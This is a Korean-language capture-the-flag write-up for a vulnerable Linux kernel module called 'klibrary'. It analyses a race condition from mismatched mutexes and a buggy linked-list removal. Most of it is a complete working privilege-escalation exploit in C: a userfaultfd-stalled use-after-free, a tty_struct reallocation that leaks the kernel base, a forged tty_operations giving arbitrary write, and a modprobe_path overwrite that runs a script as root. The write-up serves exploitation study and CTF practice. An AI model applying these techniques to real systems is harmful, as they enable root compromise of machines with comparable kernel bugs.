klibrary
취약점 분석
1. 서로 다른 mutex 사용으로 인한 race condition과 Use-After-Free
library_ioctl()은 일반 명령을 ioctl_lock으로 보호하지만, CMD_REMOVE_ALL만 별도의 remove_all_lock으로 보호한다. 두 mutex는 서로 독립적이므로 CMD_ADD_DESC 또는 CMD_GET_DESC가 실행되는 동안 다른 스레드에서 CMD_REMOVE_ALL을 동시에 실행할 수 있다. library_release()도 아무 mutex 없이 remove_all()을 호출한다.
static long library_ioctl(struct file* file, unsigned int cmd, unsigned long arg) {
struct Request request;
if(copy_from_user((void*)&request, (void*)arg, sizeof(struct Request))) {
return -1;
}
if(cmd == CMD_REMOVE_ALL) {
mutex_lock(&remove_all_lock);
remove_all();
mutex_unlock(&remove_all_lock);
} else {
mutex_lock(&ioctl_lock);
switch(cmd) {
case CMD_ADD:
add_book(request.index);
break;
case CMD_REMOVE:
remove_book(request.index);
break;
case CMD_ADD_DESC:
add_description_to_book(request);
break;
case CMD_GET_DESC:
get_book_description(request);
break;
}
mutex_unlock(&ioctl_lock);
}
return 0;
}
static int library_release(struct inode* inode, struct file *filp) {
printk(KERN_INFO "[library] : vulnerable device closed! try harder.\n");
remove_all();
return 0;
}add_description_to_book()과 get_book_description()은 먼저 리스트에서 Book 주소를 찾은 후 그 주소를 copy_from_user() 또는 copy_to_user()에 전달한다. 이 user copy를 userfaultfd로 중지한 상태에서 remove_all()을 호출하면, 지역 변수 book이 가리키는 객체가 해제된다. 이후 user copy가 재개되면 해제된 주소를 그대로 사용한다.
static int add_description_to_book(struct Request request) {
struct Book* book = root;
/* ... */
for(; book != NULL && book->index != request.index; book = book->next);
/* book이 가리키는 객체를 다른 스레드에서 해제할 수 있다. */
if(copy_from_user((void*)book->book_description,
(void*)(request.userland_pointer),
BOOK_DESCRIPTION_SIZE)) {
return -1;
}
}
static int get_book_description(struct Request request) {
struct Book* book = root;
/* ... */
while(book != NULL && book->index != request.index)
book = book->next;
/* book이 가리키는 객체를 다른 스레드에서 해제할 수 있다. */
if(copy_to_user((void*)request.userland_pointer,
(void*)book->book_description,
BOOK_DESCRIPTION_SIZE)) {
return -1;
}
}이 race condition으로 다음 두 공격이 가능하다.
CMD_GET_DESC: 해제된Book을 다른 커널 객체로 재할당한 뒤 0x300바이트를 읽어 커널 주소를 유출할 수 있다.CMD_ADD_DESC: 해제된Book을 다른 커널 객체로 재할당한 뒤 0x300바이트를 덮어 함수 포인터 등을 변조할 수 있다.
2. remove_book()의 잘못된 연결 리스트 해제
요청한 인덱스를 찾지 못하면 p는 NULL이 되지만, 오류를 출력한 뒤 함수를 종료하지 않는다. 이후 p->prev와 p->next를 역참조하므로 NULL pointer dereference가 발생한다.
또한 마지막 원소를 제거하면 next가 NULL인데도 next->prev에 접근한다. 두 경우 모두 커널 크래시를 일으킬 수 있어 서비스 거부 공격이 가능하다.
static int remove_book(unsigned long index) {
struct Book *p, *prev, *next;
/* ... */
p = root;
while(p != NULL && p->index != index)
p = p->next;
if(p == NULL) {
printk(KERN_INFO "[library] : can't remove %ld reason : not found\n", index);
}
prev = p->prev;
next = p->next;
prev->next = next;
next->prev = prev;
kfree(p);
}객체 구조와 SLUB 캐시
Book의 크기는 0x318바이트이며, 제공된 커널에서는 kmalloc-1024 캐시에서 할당된다.
struct Book {
char book_description[0x300]; // +0x000
unsigned long index; // +0x300
struct Book* next; // +0x308
struct Book* prev; // +0x310
}; // sizeof = 0x318
struct Request {
unsigned long index; // +0x00
char __user *userland_pointer;// +0x08
}; // sizeof = 0x10/dev/ptmx를 열 때 생성되는 tty_struct도 같은 kmalloc-1024 캐시를 사용한다. 따라서 해제된 Book 주소를 tty_struct로 재사용하여 UAF read와 UAF write를 함수 포인터 변조로 발전시킬 수 있다.
Exploit 과정
Step 1: userfaultfd로 user copy 중지
익명 페이지를 mmap()한 뒤 UFFDIO_REGISTER_MODE_MISSING으로 등록한다. 아직 물리 페이지가 할당되지 않았으므로 커널이 이 주소에 접근하면 page fault가 발생하고, fault handler가 UFFDIO_COPY를 호출할 때까지 해당 ioctl 스레드가 정지한다.
page1 = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
setup_userfaultfd(page1, 0x1000);
print_description(fd, 0, page1);UFFDIO_COPY는 src의 정상 사용자 페이지를 fault가 발생한 dst 페이지에 복사하여 missing fault를 해결한다. 이후 중지됐던 copy_to_user() 또는 copy_from_user()가 재개된다.
uffdio_copy.src = (unsigned long)malloc(0x1000);
memset((void *)uffdio_copy.src, 0, 0x1000);
uffdio_copy.dst = msg.arg.pagefault.address & ~(0xFFF);
uffdio_copy.len = 0x1000;
uffdio_copy.mode = 0;
ioctl((int)(long)arg, UFFDIO_COPY, &uffdio_copy);Step 2: UAF read로 커널 주소 유출
먼저 Book 0을 할당하고 CMD_GET_DESC의 출력 주소로 page1을 전달한다. get_book_description()은 Book 주소를 찾은 뒤 copy_to_user()에서 page fault로 정지한다.
fault handler는 별도의 CMD_REMOVE_ALL을 호출해 Book을 해제한다. 이 명령은 remove_all_lock만 사용하므로, 정지한 ioctl이 ioctl_lock을 보유하고 있어도 실행된다. 이어서 /dev/ptmx를 열면 tty_struct가 해제된 Book 주소를 재사용한다.
if (uffd_count++ == 0)
{
remove_all(fd);
ptmx_fd = open("/dev/ptmx", O_RDWR);
uffdio_copy.src = (unsigned long)malloc(0x1000);
memset((void *)uffdio_copy.src, 0, 0x1000);
}UFFDIO_COPY로 fault를 해결하면 기존 copy_to_user()가 재개된다. 커널이 기억하던 Book 주소에는 이제 tty_struct가 있으므로, page1에는 tty_struct의 앞 0x300바이트가 복사된다.
tty_struct + 0x18에는 ptm_unix98_ops가 있고, 정적 커널 베이스 기준 오프셋은 0x623560이다. tty_struct + 0x38의 wait queue 포인터는 자기 주소인 tty_struct + 0x38을 가리키므로 객체 베이스도 계산할 수 있다.
kbase = *(uint64_t *)((char *)page1 + 0x18) - 0x623560;
kheap = *(uint64_t *)((char *)page1 + 0x38) - 0x38;
mov_rdx_rsi_ret = kbase + 0x13e9b0;
modprobe_path = kbase + 0x837d00;유출이 끝난 뒤 첫 번째 ptmx_fd를 닫는다. 그러면 첫 번째 tty_struct가 해제되어, 방금 유출한 kheap 주소를 다음 Book이 다시 사용할 수 있다.
print_description(fd, 0, page1);
close(ptmx_fd);Step 3: UAF write로 tty_struct->ops 변조
Book 1을 생성하면 직전에 해제한 첫 번째 tty_struct 주소, 즉 kheap을 재사용한다. page2를 새로운 userfaultfd missing 페이지로 등록한 후 CMD_ADD_DESC에 전달한다. add_description_to_book()은 Book 1의 주소를 찾고 copy_from_user()에서 정지한다.
create_book(fd, 1);
page2 = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
setup_userfaultfd(page2, 0x1000);
edit_description(fd, 1, page2);두 번째 fault handler는 Book 1을 해제하고 /dev/ptmx를 다시 연다. 새 tty_struct는 같은 kheap 주소를 재사용한다.
page1에는 첫 번째 단계에서 유출한 정상 tty_struct가 들어 있다. 이 복사본에서 ops만 kheap + 0x280으로 변경한다. tty_struct 뒤의 같은 SLUB 객체 내부에 가짜 tty_operations를 배치하며, ioctl 콜백의 오프셋은 0x60이다.
remove_all(fd);
ptmx_fd = open("/dev/ptmx", O_RDWR);
*(uint64_t *)((char *)page1 + 0x18) = kheap + 0x280;
*(uint64_t *)((char *)page1 + 0x280 + 0x60) = mov_rdx_rsi_ret;
uffdio_copy.src = page1;UFFDIO_COPY가 page1을 page2에 공급하면 정지했던 copy_from_user()가 재개된다. stale Book 포인터를 목적지로 사용해 0x300바이트를 복사하므로, 현재 같은 주소에 존재하는 tty_struct가 조작된 복사본으로 덮인다.
첫 번째 tty_struct를 close()하여 동일 주소를 재사용하는 과정이 중요하다. 주소가 달라지면 유출한 내부 self pointer와 kheap + 0x280에 배치한 fake ops 주소가 두 번째 tty_struct의 실제 위치와 일치하지 않는다.
Step 4: fake tty_operations로 임의 주소 쓰기
가짜 ioctl 콜백에는 다음 gadget을 배치한다.
mov qword ptr [rdx], rsi
rettty_operations->ioctl()은 다음 인자를 받는다.
int ioctl(struct tty_struct *tty, unsigned int cmd, unsigned long arg);x86-64 호출 규약에서 cmd는 RSI, arg는 RDX로 전달된다. 따라서 ioctl(ptmx_fd, value, address)를 호출하면 gadget이 address에 value를 기록한다.
두 번의 쓰기로 modprobe_path를 /tmp/ex로 변경한다. 정수는 메모리에 little-endian으로 저장된다.
ioctl(ptmx_fd, 0x706d742f, modprobe_path); // "/tmp"
ioctl(ptmx_fd, 0x0078652f, modprobe_path + 4); // "/ex"Step 5: modprobe_path를 이용한 권한 상승
/tmp/ex에는 /flag.txt의 권한을 변경하는 스크립트를 작성한다. 알 수 없는 바이너리 형식인 /tmp/pwn을 실행하면 커널의 module autoload 경로가 실행되며, 변조된 modprobe_path에 의해 /tmp/ex가 root 권한으로 호출된다. 이후 일반 사용자도 flag를 읽을 수 있다.
system("echo -ne '#!/bin/sh\nchmod 777 /flag.txt\n' > /tmp/ex");
system("chmod +x /tmp/ex");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/pwn");
system("chmod +x /tmp/pwn");
system("/tmp/pwn");
system("cat /flag.txt");Exploit Code
#define _GNU_SOURCE
// #include "util/bpf.h"
#include "util/general.h"
#include "util/io_helpers.h"
#include <stdint.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <linux/userfaultfd.h>
#include <sys/syscall.h>
int fd, ptmx_fd;
uint64_t kbase, kheap;
uint64_t *page1, *page2;
uint64_t mov_rdx_rsi_ret, modprobe_path;
struct request
{
uint64_t index;
uint64_t *userland_ptr;
};
void create_book(int fd, uint64_t index)
{
struct request req = {0};
req.index = index;
req.userland_ptr = NULL;
ioctl(fd, 0x3000, &req);
}
void delete_book(int fd, uint64_t index)
{
struct request req = {0};
req.index = index;
req.userland_ptr = NULL;
ioctl(fd, 0x3001, &req);
}
void remove_all(int fd)
{
struct request req = {0};
req.index = 0;
req.userland_ptr = NULL;
ioctl(fd, 0x3002, &req);
}
void edit_description(int fd, uint64_t index, uint64_t *userland_ptr)
{
struct request req = {0};
req.index = index;
req.userland_ptr = userland_ptr;
ioctl(fd, 0x3003, &req);
}
void print_description(int fd, uint64_t index, uint64_t *userland_ptr)
{
struct request req = {0};
req.index = index;
req.userland_ptr = userland_ptr;
ioctl(fd, 0x3004, &req);
}
int uffd_count = 0;
void *uffd_handler(void *arg)
{
while (1)
{
struct uffd_msg msg;
ssize_t nread = read((int)(long)arg, &msg, sizeof(msg));
struct uffdio_copy uffdio_copy;
if (nread == 0)
{
break;
}
else if (nread == -1)
{
break;
}
if (msg.event != UFFD_EVENT_PAGEFAULT)
{
continue;
}
info("uffd_handler: pagefault at %p", (void *)msg.arg.pagefault.address);
if (uffd_count++ == 0)
{
// first page fault, just return to let the kernel handle it
remove_all(fd);
info("remove_all called");
ptmx_fd = open("/dev/ptmx", O_RDWR);
info("ptmx opened");
// Allocate a new page and copy the contents to the faulting address
uffdio_copy.src = (unsigned long)malloc(0x1000);
memset((void *)uffdio_copy.src, 0, 0x1000);
}
else
{
// second page fault, we can now overwrite the tty_struct ops
remove_all(fd);
info("remove_all called");
ptmx_fd = open("/dev/ptmx", O_RDWR);
info("ptmx opened: %d", ptmx_fd);
// overwrite tty_struct ops with our gadget
*(uint64_t *)((char *)page1 + 0x18) = kheap + 0x280;
*(uint64_t *)((char *)page1 + 0x280 + 0x60) = mov_rdx_rsi_ret;
uffdio_copy.src = page1;
}
uffdio_copy.dst = msg.arg.pagefault.address & ~(0xFFF);
uffdio_copy.len = 0x1000;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl((int)(long)arg, UFFDIO_COPY, &uffdio_copy) == -1)
{
perror("uffd_handler: ioctl-UFFDIO_COPY");
break;
}
}
}
int setup_userfaultfd(void *addr, size_t len)
{
int uffd = syscall(SYS_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
{
perror("userfaultfd");
return -1;
}
struct uffdio_api uffdio_api;
uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
{
perror("ioctl-UFFDIO_API");
return -1;
}
struct uffdio_register uffdio_register;
uffdio_register.range.start = (unsigned long)addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
{
perror("ioctl-UFFDIO_REGISTER");
return -1;
}
pthread_t uffd_thread;
if (pthread_create(&uffd_thread, NULL, uffd_handler, (void *)(long)uffd) != 0)
{
perror("pthread_create");
return -1;
}
return uffd;
}
int main()
{
important("happy hacking!");
fd = open("/dev/library", O_RDWR);
if (fd < 0)
{
important("open failed");
return -1;
}
// leak kernel base using userfaultfd and tty_struct
create_book(fd, 0);
page1 = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
setup_userfaultfd(page1, 0x1000);
print_description(fd, 0, page1);
hexdump(page1, 0x100);
close(ptmx_fd);
kbase = *(uint64_t *)((char *)page1 + 0x18) - 0x623560;
kheap = *(uint64_t *)((char *)page1 + 0x38) - 0x38;
mov_rdx_rsi_ret = kbase + 0x13e9b0;
modprobe_path = kbase + 0x837d00;
info("kbase: 0x%lx", kbase);
info("kheap: 0x%lx", kheap);
info("gadget 'mov qword ptr [rdx], rsi ; ret': 0x%lx", mov_rdx_rsi_ret);
info("modprobe_path: 0x%lx", modprobe_path);
// trigger UAF and overwrite tty_struct ops
create_book(fd, 1);
page2 = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
setup_userfaultfd(page2, 0x1000);
edit_description(fd, 1, page2);
// modprobe_path overwrite
ioctl(ptmx_fd, 0x706d742f, modprobe_path); // "/tmp"
ioctl(ptmx_fd, 0x0078652f, modprobe_path + 4); // "/ex";
system("echo -ne '#!/bin/sh\nchmod 777 /flag.txt\n' > /tmp/ex");
system("chmod +x /tmp/ex");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/pwn");
system("chmod +x /tmp/pwn");
system("/tmp/pwn");
system("cat /flag.txt");
return 0;
}